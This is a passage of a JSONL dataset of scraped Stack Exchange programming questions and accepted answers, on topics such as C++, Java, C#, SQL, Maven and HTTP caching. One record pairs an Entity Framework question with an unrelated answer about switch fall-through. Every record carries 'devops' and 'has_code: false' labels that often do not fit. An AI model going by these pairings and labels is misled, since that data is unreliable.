"answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.873741"}
{"id": "hf_dd121df65cd0", "question": "<p>As a function argument I get a <code>vector&lt;double&gt;&amp; vec</code> (an output vector, hence non-const) with unknown length and values. I want to initialise this vector to a specific length n with all zeroes.</p>\n\n<p>This will work </p>\n\n<pre><code>vec.clear();\nvec.resize( n, 0.0 );\n</code></pre>\n\n<p>And this will work as well:</p>\n\n<pre><code>vec.resize( n );\nvec.assign( n, 0.0 );\n</code></pre>\n\n<p>Is the second more efficient (because no memory deallocation/allocation is involved)? Is there a more efficient way to do this? </p>\n", "question_body": "", "answer": "```\n```\nstd::vector<double>(n).swap(vec);\n```\n```\nThis has the advantage of actually compacting your vector too. (In your first example,\n```\nclear()\n```\ndoes not guarantee to compact your vector.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.959362"}
{"id": "hf_bd14dab5f366", "question": "<p>How do you trigger a javascript function using actionscript  in flash?</p>\n\n<p>The goal is to trigger jQuery functionality from a flash movie</p>\n", "question_body": "", "answer": "Take a look at the\nExternalInterface\n-Class.\nFrom the AS3-Language Reference:\nThe ExternalInterface class is the\n  External API, an application\n  programming interface that enables\n  straightforward communication between\n  ActionScript and the Flash Player\n  container– for example, an HTML page\n  with JavaScript. Adobe recommends\n  using ExternalInterface for all\n  JavaScript-ActionScript communication.\nAnd it's work like this:\n```\n```\nExternalInterface.addCallback(\"sendToActionScript\", receivedFromJavaScript);\nExternalInterface.call(\"sendToJavaScript\", input.text);\n```\n```\nYou can submit parameters and recieve callbacks...pretty cool, right? ;)\nAs I know it will also work on AS2...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.034270"}
{"id": "hf_f117f9f46891", "question": "<p>Assuming I have an ArrayList</p>\n\n<pre><code>ArrayList&lt;MyClass&gt; myList;\n</code></pre>\n\n<p>And I want to call toArray, is there a performance reason to use</p>\n\n<pre><code>MyClass[] arr = myList.toArray(new MyClass[myList.size()]);\n</code></pre>\n\n<p>over</p>\n\n<pre><code>MyClass[] arr = myList.toArray(new MyClass[0]);\n</code></pre>\n\n<p>?</p>\n\n<p>I prefer the second style, since it's less verbose, and I assumed that the compiler will make sure the empty array doesn't really get created, but I've been wondering if that's true.</p>\n\n<p>Of course, in 99% of the cases it doesn't make a difference one way or the other, but I'd like to keep a consistent style between my normal code and my optimized inner loops...</p>\n", "question_body": "", "answer": "Using 'toArray' with the array of the correct size will perform better as the alternative will create first the zero sized array then the array of the correct size. However, as you say the difference is likely to be negligible.\nAlso, note that the javac compiler does not perform any optimization. These days all optimizations are performed by the JIT/HotSpot compilers at runtime. I am not aware of any optimizations around 'toArray' in any JVMs.\nThe answer to your question, then, is largely a matter of style but for consistency's sake should form part of any coding standards you adhere to (whether documented or otherwise).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.084427"}
{"id": "hf_3546564da552", "question": "<p>In C#, does anybody know why the following will compile:</p>\n\n<pre><code>int i = 1;\n++i;\ni++;\n</code></pre>\n\n<p>but this will not compile?</p>\n\n<pre><code>int i = 1;\n++i++;\n</code></pre>\n\n<p>(Compiler error: The operand of an increment or decrement operator must be a variable, property or indexer.)</p>\n", "question_body": "", "answer": "My guess: to avoid such ugly and unnecessary constructs. Also it would use 2 operations (2x INC) instead of one (1x ADD 2).\nYes, i know ... \"but i want to increase by two and i'm a l33t g33k!\"\nWell, don't be a geek and write something that doesn't look like an inadvertent mistake, like this:\n```\n```\ni += 2;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.170382"}
{"id": "hf_a7fb48fc5c6c", "question": "<p>Is entity framework just a fancy name for another CRUD code generator?</p>\n\n<p>Or is there more to it?</p>\n", "question_body": "", "answer": "They changed the switch statement (from C/Java/C++) behavior for c#.  I guess the reasoning was that people forgot about the fall through and errors were caused.  One book I read said to use goto to simulate, but this doesn't sound like a good solution to me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.211117"}
{"id": "hf_d11bb9e553b1", "question": "<p>I'm starting on a project that I expect will include a substantial amount of non-Java code (mostly shell and SQL scripts).</p>\n\n<p>I would still like to manage this project with Maven. What are the best practices wrt non-Java source code and Maven? Where should the source go? What happens to them during the different lifecycle phases? Any pointers or links to more information would be greatly appreciated.</p>\n", "question_body": "", "answer": "You must not put the non-Java code into resources, if you don't want to include these files into your JAR files like heckj has suggested. Everything that is located in resources is automatically copied into the JAR file and I guess you don't want shell scripts and SQL scripts be included in a JAR file, right?\nSo the Maven way would be to create additional folders under src/main. E.g. create a\nsql\nfolder for your SQL scripts, an\nsh\nfolder for your shell scripts and so on. This is the location where other Maven plugins also expect sources, e.g. for C++, Groovy and so on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.250634"}
{"id": "hf_382cff38a185", "question": "<p>Is Oracle Application Express suitable for Intranet client/server application?\nIf so, what should I do to enable client access to application?</p>\n\n<hr>\n\n<p>Well, I am working as a PowerBuilder/Oracle developer, so I am familiar with client/server architecture. I have recently read an article about APEX so I would like to develop APEX variation of my PowerBuilder/Oracle app, which is pretty much HR app. It should not be Internet accessible app, just a couple of windows boxes in a small network. I have no problem with developing app in PL/SQL and SQL (will have to read and ask a lot, though). I would just like to know is APEX suitable for Intranet app - it should be as it is suitable for Internet app :) - and how should I enable client's browser to access an application since there would be nothing like  http:/www.appdomain.com ? I know next to nothing about win networks :)</p>\n", "question_body": "", "answer": "Application Express applications are accessed via a URL in a browser, with a URL something like:\n```\n```\nhttp://www.mydomain.com/pls/mydad/f?p=MYAPP\n```\n```\nA client/server application would have to launch a browser window and pass in the appropriate URL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.278776"}
{"id": "hf_7b63be7626c2", "question": "<p>I have a Rails application for project management where there are Project and Task models. A project can have many tasks, but a task can also have many tasks, ad infinitum.</p>\n\n<p>Using nested resources, we can have /projects/1/tasks, /projects/1/tasks/new, /projects/1/tasks/3/edit etc.</p>\n\n<p>However, how do you represent the recursive nature of tasks RESTfully? I don't want go another level deep, so perhaps the following would do:</p>\n\n<pre><code>map.resources :tasks do |t|\n    t.resources :tasks\nend\n</code></pre>\n\n<p>That would give me the following urls:</p>\n\n<pre><code>/tasks/3/tasks/new   \n/tasks/3/tasks/45/edit\n</code></pre>\n\n<p>Or perhaps when it comes to an individual task I can just use /tasks/45/edit</p>\n\n<p>Is this a reasonable design?</p>\n\n<p>Cam</p>\n", "question_body": "", "answer": "there's no reason they should have decendant URLS.\nlogically:\n```\n/projects/1  --> project 1 \n/projects/1/edit ( etc )\n/tasks/1     --> task 1 \n/project/1/tasks --> task list for project 1 \n/project/1/tasks/new \n/project/1/tasks/1/edit ->  /tasks/5/edit ( redundancy ) \n/project/1/tasks/1 -> redirect to /tasks/1 \n/tasks/1/project -> redirect to /projects/1 \n/tasks/3/tasks --> list of tasks that are children tasks of task 3\n/tasks/3/tasks/5 -> redirect /tasks/5/    ( because you don't really need to have a recursive URL )\n/tasks/5/parents -> list of tasks that are parents of tasks 3\n/tasks/5/parents/3 -> redirect /tasks/3/\n```\nthere's no reason IMHO to require the URLs be associative, you're not going to need to know that task 5 is a child of task 3 to edit task 5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.314761"}
{"id": "hf_615835d7acfd", "question": "<p>With the new approach of having the get/set within the attribut of the class like that :</p>\n\n<pre><code>public string FirstName {\n        get; set;\n    }\n</code></pre>\n\n<p>Why simply not simply put the attribute FirstName public without accessor?</p>\n", "question_body": "", "answer": "Because, in the future, if you change the implementation, code using the current interface won't break.\nFor instance, you implement a simple class with a public field and start using your class in some external modules. A month later you discover you need to implement lazy loading in that class. You would then need to transform the field to a property. From the external module point of ciew, it might look the same syntaxicaly, but it is not. A property is a set of functions, while a field is an offset in a class instance.\nBy using a property, you effectively reduce the risk the interface will change.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.351583"}
{"id": "hf_b308fd679acd", "question": "<p>Basically I'm trying to accomplish the same thing that \"mailto:bgates@microsoft.com\" does in Internet Explorer Mobile.</p>\n\n<p>But I want to be able to do it from a managed Windows Mobile application. I don't want to send an email pro grammatically in the background.</p>\n\n<p>I want to be able to create the email in Pocket Outlook and then let the user do the rest.</p>\n\n<p>Hopefully that helps you hopefully help me!</p>\n", "question_body": "", "answer": "I assume you use C#. You add a reference to System.Diagnostics and then write the following code:\n```\n```\nProcessStartInfo psi = \n  new ProcessStartInfo(\"mailto:bla@bla.com?subject=MySubject\", \"\");\nProcess.Start(psi);\n```\n```\nThis will start the default email client on your mobile device.\nThe\nmailto protocol definition\nmight come handy too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.386420"}
{"id": "hf_5d2b325616a0", "question": "<p>I have inherited a c# class 'Button' (which I can't change) which clashes with the BCL class 'Windows.Forms.Button'. Normally, Id be very happy to go:</p>\n\n<pre><code>MyPackage.MyClass.Button;\n</code></pre>\n\n<p>But there are a large number or references to this class which is a pain to have to re-type.</p>\n\n<p>Is there any way to get the compiler (linker?) to default to using the customised version of Button over the BCL version?</p>\n", "question_body": "", "answer": "You could remove\n```\nusing Windows.Forms;\n```\nfrom the top of the code. That would of course mean that you would have to reference all Windows.Forms items specifically.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.419314"}
{"id": "hf_c5595cf9cf1b", "question": "<p>This may be simple one, but 5 mins of Googling didn't give me the answer.\nHow do you save and load bitmaps using .Net librabries?</p>\n\n<p>I have an Image object and I need to save it to disk in some format (preferably png) and load back in later.\nA C# example would be great.</p>\n", "question_body": "", "answer": "About 10 seconds of google lead me to\nthis example\nfor the save method, you can dig around a bit more for the others.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.454834"}
{"id": "hf_5724ae524862", "question": "<p>I'm building an interface much like the built-in Weather application's flipside view, or the Alarms view of the Clock application in editing mode. The table view is always in editing mode, so the delete icon appears on the left side of each cell.</p>\n\n<p>When the table view is in editing mode, my delegate doesn't receive <code>didSelectRowAtIndexPath</code> notifications. It receives <code>accessoryButtonTappedForRowWithIndexPath</code> notifications, but that's not what I want to do. I want my rows to stay selectable, even when the table view is in editing mode.</p>\n\n<p>Any ideas on how I can accomplish this?</p>\n\n<p>Thanks,</p>\n\n<p>P.S. Hooray for the lifted NDA. =)</p>\n", "question_body": "", "answer": "Set\n```\ntable.allowsSelectionDuringEditing\n```\nto\n```\nYES\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.540193"}
{"id": "hf_f91174cee1bc", "question": "<p>I would like to know how much disk space a directory is going to consume before I bring it over from the Perforce server.  I don't see any way to do this other than getting the files and looking at the size of the directory in a file manager.  This, of course, defeats the purpose.  </p>\n\n<p>Is there a way to get file size info from Perforce without actually getting the files?</p>\n", "question_body": "", "answer": "```\np4 fstat\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.575970"}
{"id": "hf_73f85f1dc0a5", "question": "<p>What are the relative merits of the xdoc and apt formats for writing websites of Maven projects? Is one more expressive than the other? Has one got better tool support than the other?</p>\n", "question_body": "", "answer": "The XDOC format is definitely a richer mechanism for creating documents and is required if you want to produce documents with TOC/TOF, headers, footers or footnotes (and other document attributes), since the APT format doesn't support these.\nThat being said, I tend to use the APT format for almost all internal documents as I enjoy writing in the APT format.  When compared to writing XDOC (with all its XML loveliness), APT is a breeze.  By the same token, when I'm writing a plugin that generates content, I tend to use the XDOC format, since it's pretty easy to write software that creates the required XML.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.598199"}
{"id": "hf_9ccf84794b6e", "question": "<p>Will content requested over https still be cached by web browsers or do they consider this insecure behaviour?  If this is the case is there anyway to tell them it's ok to cache?</p>\n", "question_body": "", "answer": "By default web browsers should cache content over HTTPS the same as over HTTP, unless explicitly told otherwise via the\nHTTP Headers\nreceived.\nThis link\nis a good introduction to setting cache setting in HTTP headers.\nis there anyway to tell them it's ok to cache?\nThis can be achieved by setting the\n```\nmax-age\n```\nvalue in the\n```\nCache-Control\n```\nheader to a non-zero value, e.g.\n```\n```\nCache-Control: max-age=3600\n```\n```\nwill tell the browser that this page can be cached for 3600 seconds (1 hour)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.621861"}
{"id": "hf_f0834f41924c", "question": "<p>It seems that when I use a tool (such as winmerge) to update my codebase... my Visual Studio Team System (VSTS) integration with Team Foundation Server (TFS) doesn't seem to pick it up.</p>\n\n<p>How do I know which files to check out and check back in? Is there something I am missing? Is this a feature that isn't part of VSTS &amp; TFS?</p>\n", "question_body": "", "answer": "First, this is probably because the files have not yet been checked out.  If you do that first before running your update, TFS will see those changes.\nSecond, you can use TFS Power Tools (available from MS) to review local repository for changes that are not recognized.  If there are found differences, power toys resets the status of the file so Pending Changes window sees the change.  this does not require you to check-out the files, it will do that for you if there are differences.\nPretty nifty.\nPower Tools for 2008 is here:\nhttp://www.microsoft.com/en-us/download/details.aspx?id=15836\nand you are looking for the \"Online\" command:\n\"Online Command - Use the online command to create pending edits on writable files that do not have pending edits.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.708015"}
{"id": "hf_52cccc8adccb", "question": "<p>I am using my own db for phpbb3 forum, and I wish to insert some data from the forum into my own tables. Now, I can make my own connection and it runs my query but in trying to use the $db variable(which I think is what you're meant to use??) it gives me an error.</p>\n\n<p>I would like someone to show me the bare bones which i insert my query into to be able to run it.</p>\n", "question_body": "", "answer": "Well.. You haven't given us very much information, but there are two things you need to do to connect and query to a database.\nFor phpbb, you may want to read the documentation they have presented:\nhttp://wiki.phpbb.com/Database_Abstraction_Layer\nHere is a general overview of how you'd execute a query:\n```\n```\ninclude($phpbb_root_path . 'includes/db/mysql.' . $phpEx);\n\n$db = new dbal_mysql();\n// we're using bertie and bertiezilla as our example user credentials. You need to fill in your own ;D\n$db->sql_connect('localhost', 'bertie', 'bertiezilla', 'phpbb', '', false, false);\n\n$sql = \"INSERT INTO (rest of sql statement)\";\n\n$result = $db->sql_query($sql);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.730200"}
{"id": "hf_e38ba7ef5b85", "question": "<p>Within a spring webflow, i need to implement a navigation bar that will allow to \"step back\" or resume the flow to one of the previous view.</p>\n\n<p>For example :</p>\n\n<ul>\n<li>View 1 = login</li>\n<li>View 2 = My informations</li>\n<li>View 3 = My messages</li>\n<li>View 4 = Close session</li>\n</ul>\n\n<p>For this example, i would like to return back to view 2 from the view 4 page.</p>\n", "question_body": "", "answer": "It depends how you're going about doing this.  If you're doing this within a single flow, you'll have something like this:\n```\n```\n<view-state id=\"loginView\" view=\"login.jsp\">\n    <action-state bean=\"someBean\" method=\"login\" />\n    <transition on=\"success\" to=\"informationView\" />\n</view-state> \n\n<view-state id=\"informationView\" view=\"information.jsp\">\n    <render-actions>\n        <action-state bean=\"someBean\" method=\"retrieveInformation\" />\n    </render-actions>\n    <transition on=\"forward\" to=\"messageView\" />\n    <transition on=\"back\" to=\"loginView\" />\n</view-state>\n\n<view-state id=\"messageView\" view=\"message.jsp\">\n    <render-actions>\n        <action-state bean=\"someBean\" method=\"retrieveMessage\" />\n    </render-actions>\n    <transition on=\"forward\" to=\"closeView\" />\n    <transition on=\"back\" to=\"informationView\" />\n</view-state>\n\n<view-state id=\"closeView\" view=\"logout.jsp\">\n    <transition on=\"jumpBack\" to=\"informationView\" />\n</view-state>\n```\n```\nThe \"jumpBack\" transition on \"closeView\" will jump you back to view state #2, which is your information view.\nWith sub-flows it is tricky.  You'd need to chain it: call a subflow, and if an event is signaled that states you need to end your flow with a specific state, immediately do so.\nFor example, say that your flow chain is login->information->message->close.\nOn the close flow, the end-state would be \"returnToInformation\".\nThe message flow has a transition on=\"returnToInformation\" to=\"returnToInformation\".\n\"returnToInformation\" is also an end-state in the message flow.\nThen, the information flow has a transition on=\"returnToInformation\" to=\"displayInformationPage\", which would then re-display the information page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.754731"}
{"id": "hf_eb0e471c13f1", "question": "<p>I am trying to match floating-point decimal numbers with a regular expression.  There may or may not be a number before the decimal, and the decimal may or may not be present, and if it is present it may or may not have digits after it.  (For this application, a leading +/- or a trailing \"E123\" is not allowed).  I have written this regex:</p>\n\n<pre><code>/^([\\d]*)(\\.([\\d]*))?$/\n</code></pre>\n\n<p>Which correctly matches the following:</p>\n\n<pre><code>1\n1.\n1.23\n.23\n</code></pre>\n\n<p>However, this also matches empty string or a string of just a decimal point, which I do not want.</p>\n\n<p>Currently I am checking after running the regex that $1 or $3 has length greater than 0.  If not, it is not valid.  Is there a way I can do this directly in the regex?</p>\n", "question_body": "", "answer": "I think this will do what you want.  It either starts with a digit, in which case the decimal point and digits after it are optional, or it starts with a decimal point, in which case at least one digit is mandatory after it.\n```\n```\n/^\\d+(\\.\\d*)?|\\.\\d+$/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.779248"}
{"id": "hf_fbf8352fb8a4", "question": "<p>This PHP code...</p>\n\n<pre><code>207    if (getenv(HTTP_X_FORWARDED_FOR)) {\n208        $ip   = getenv('HTTP_X_FORWARD_FOR');\n209        $host = gethostbyaddr($ip);\n210    } else {\n211        $ip   = getenv('REMOTE_ADDR');\n212        $host = gethostbyaddr($ip);\n213    }\n</code></pre>\n\n<p>Throws this warning...</p>\n\n<blockquote>\n  <p><strong>Warning:</strong> gethostbyaddr()\n  [function.gethostbyaddr]: Address is\n  not in a.b.c.d form in <strong>C:\\inetpub...\\filename.php</strong> on line <strong>212</strong></p>\n</blockquote>\n\n<p>It seems that <em>$ip</em> is blank.</p>\n", "question_body": "", "answer": "Why don't you use\n```\n```\n$_SERVER['REMOTE_ADDR']\n```\n```\nand\n```\n```\n$_SERVER['HTTP_X_FORWARDED_FOR']\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.827206"}
{"id": "hf_be10858da4ea", "question": "<p>In my vb.net program, I am using a webbrowser to show the user an HTML preview.  I was previously hitting a server to grab the HTML, then returning on an asynchronous thread and raising an event to populate the WebBrowser.DocumentText with the HTML string I was returning.</p>\n\n<p>Now I set it up to grab all of the information on the client, without ever having to hit the server, and I'm trying to raise the same event.  I watch the code go through, and it has the HTML string correct and everything, but when I try to do</p>\n\n<pre><code>browser.DocumentText = _emailHTML\n</code></pre>\n\n<p>the contents of DocumentText remain as \"<code>&lt;HTML&gt;&lt;/HTML&gt;</code>\"</p>\n\n<p>I was just wondering why the DocumentText was not being set.  Anyone have any suggestions?</p>\n", "question_body": "", "answer": "Try the following:\n```\n```\nbrowser.Navigate(\"about:blank\");\nHtmlDocument doc = browser.Document;\ndoc.Write(String.Empty);\nbrowser.DocumentText = _emailHTML;\n```\n```\nI've found that the\n```\nWebBrowser\n```\ncontrol usually needs to be initialized to\n```\nabout:blank\n```\nanyway. The same needs to be done between navigates to different types of content (like text/xml to text/html) because the renderer is different (mshtml for text/html, something else for text/xml).\nSee Also\n:\nC# 2.0 WebBrowser control - bug in DocumentText?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.872791"}
{"id": "hf_98280896a07e", "question": "<p>I'm having trouble figuring out how to access a cookie from a compiled object. I'm trying to make a compiled (DLL) object that will check the users cookie and then compare that to a database to confirm they have the correct access. </p>\n\n<p>I can pass in the cookie info fine and the component will work, but I'm trying to have the component check the users cookie as well. I'm not even sure what object to use. I've been searching all weekend and I've seen references to httprequest, httpcookie, cookie, and cookiecollection. </p>\n\n<p>I can look up cookie values on the page itself using Request.Cookies(\"inet\")(\"user_id\") but this doesn't work in the component. </p>\n", "question_body": "", "answer": "Objects (App_Code/ compiled dlls) can only access Request via the static HttpContext.Current object\n```\n```\nHttpCookie cookie = HttpContext.Current.Request.Cookies[\"CookieName\"];\n```\n```\n(If it's not called from a web app, HttpContext.Current is null, so you may want to check for that when running in unit testing)\n(If this isn't App_Code, you'll need to reference System.Web)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.896663"}
{"id": "hf_afae45396c86", "question": "<p>I have about 200 Excel files that are in standard Excel 2003 format. </p>\n\n<p>I need them all to be saved as Excel xml - basically the same as opening each file and choosing <strong>Save As...</strong> and then choosing <strong>Save as type:</strong> <em>XML Spreadsheet</em></p>\n\n<p>Would you know any simple way of automating that task?</p>\n", "question_body": "", "answer": "You could adapt the code I posted here:\nhttp://www.atalasoft.com/cs/blogs/loufranco/archive/2008/04/01/loading-office-documents-in-net.aspx\nIt shows how to save as PDF (Word is shown in the blog, but if you download the solution, it has code for Excel and PPT).\nYou need to find the function for saving as the new format instead of exporting (probably the easiest way is to record a macro of yourself doing it in Excel and then looking at the code).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:45.982170"}
{"id": "hf_ef55253d587b", "question": "<p>I have a table that records a sequence of actions with a field that records the sequence order:</p>\n\n<pre><code>user    data    sequence\n1       foo     0\n1       bar     1\n1       baz     2\n2       foo     0\n3       bar     0\n3       foo     1\n</code></pre>\n\n<p>Selecting the first item for each user is easy enough with WHERE sequence = '0' but is there a way to select the last item for each user in SQL?</p>\n\n<p>The result I am after should look like this:</p>\n\n<pre><code>user    data    sequence\n1       baz     2\n2       foo     0\n3       foo     1\n</code></pre>\n\n<p>I'm using MySQL if there are any implementation specific tricksters answering.</p>\n", "question_body": "", "answer": "This sql will return the record with the highest sequence value for each user:\n```\n```\nselect a.user, a.data, a.sequence\nfrom table as a\n    inner join (\n        select user, max(sequence) as 'last'\n        from table \n        group by user) as b\n    on a.user = b.user and \n       a.sequence = b.last\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.115497"}
{"id": "hf_a4b3d7fb3275", "question": "<p>What is the simplest way (least error-prone, least lines of code, however you want to interpret it) to open a file in C and read its contents into a string (char*, char[], whatever)?</p>\n", "question_body": "", "answer": "I tend to just load the entire buffer as a raw memory chunk into memory and do the parsing on my own. That way I have best control over what the standard lib does on multiple platforms.\nThis is a stub I use for this. you may also want to check the error-codes for fseek, ftell and fread. (omitted for clarity).\n```\n```\nchar * buffer = 0;\nlong length;\nFILE * f = fopen (filename, \"rb\");\n\nif (f)\n{\n  fseek (f, 0, SEEK_END);\n  length = ftell (f);\n  fseek (f, 0, SEEK_SET);\n  buffer = malloc (length);\n  if (buffer)\n  {\n    fread (buffer, 1, length, f);\n  }\n  fclose (f);\n}\n\nif (buffer)\n{\n  // start to process your data / extract strings here...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.140024"}
{"id": "hf_c7424473703a", "question": "<p>I recently inherited a database on which one of the tables has the primary key composed of encoded values (Part1*1000 + Part2).<br>\nI normalized that column, but I cannot change the old values.\nSo now I have</p>\n\n<pre><code>select ID from table order by ID\nID\n100001\n100002\n101001\n...\n</code></pre>\n\n<p>I want to find the \"holes\" in the table (more precisely, the first \"hole\" after 100000) for new rows.<br>\nI'm using the following select, but is there a better way to do that?</p>\n\n<pre><code>select /* top 1 */ ID+1 as newID from table\nwhere ID &gt; 100000 and\nID + 1 not in (select ID from table)\norder by ID\n\nnewID\n100003\n101029\n...\n</code></pre>\n\n<p>The database is Microsoft SQL Server 2000. I'm ok with using SQL extensions.</p>\n", "question_body": "", "answer": "```\n```\nSELECT (ID+1) FROM table AS t1\nLEFT JOIN table as t2\nON t1.ID+1 = t2.ID\nWHERE t2.ID IS NULL\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.163993"}
{"id": "hf_37e91678f431", "question": "<p>How can you depend on test code from another module in Maven?  </p>\n\n<p>Example, I have 2 modules:</p>\n\n<ul>\n<li>Base</li>\n<li>Main</li>\n</ul>\n\n<p>I would like a test case in Main to extend a base test class in Base.  Is this possible?</p>\n\n<p>Update: Found an <a href=\"https://stackoverflow.com/questions/174560/sharing-test-code-in-maven#174670\">acceptable answer</a>, which involves creating a test jar.</p>\n", "question_body": "", "answer": "Yep ... just include the Base module as a dependency in Main.  If you're only inheriting test code, then you can use the scope tag to make sure Maven doesn't include the code in your artifact when deployed.  Something like this should work:\n```\n```\n<dependency>\n    <groupId>BaseGroup</groupId>\n    <artifactId>Base</artifactId>\n    <version>0.1.0-SNAPSHOT</version>\n    <scope>test</scope>\n</dependency>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.199669"}
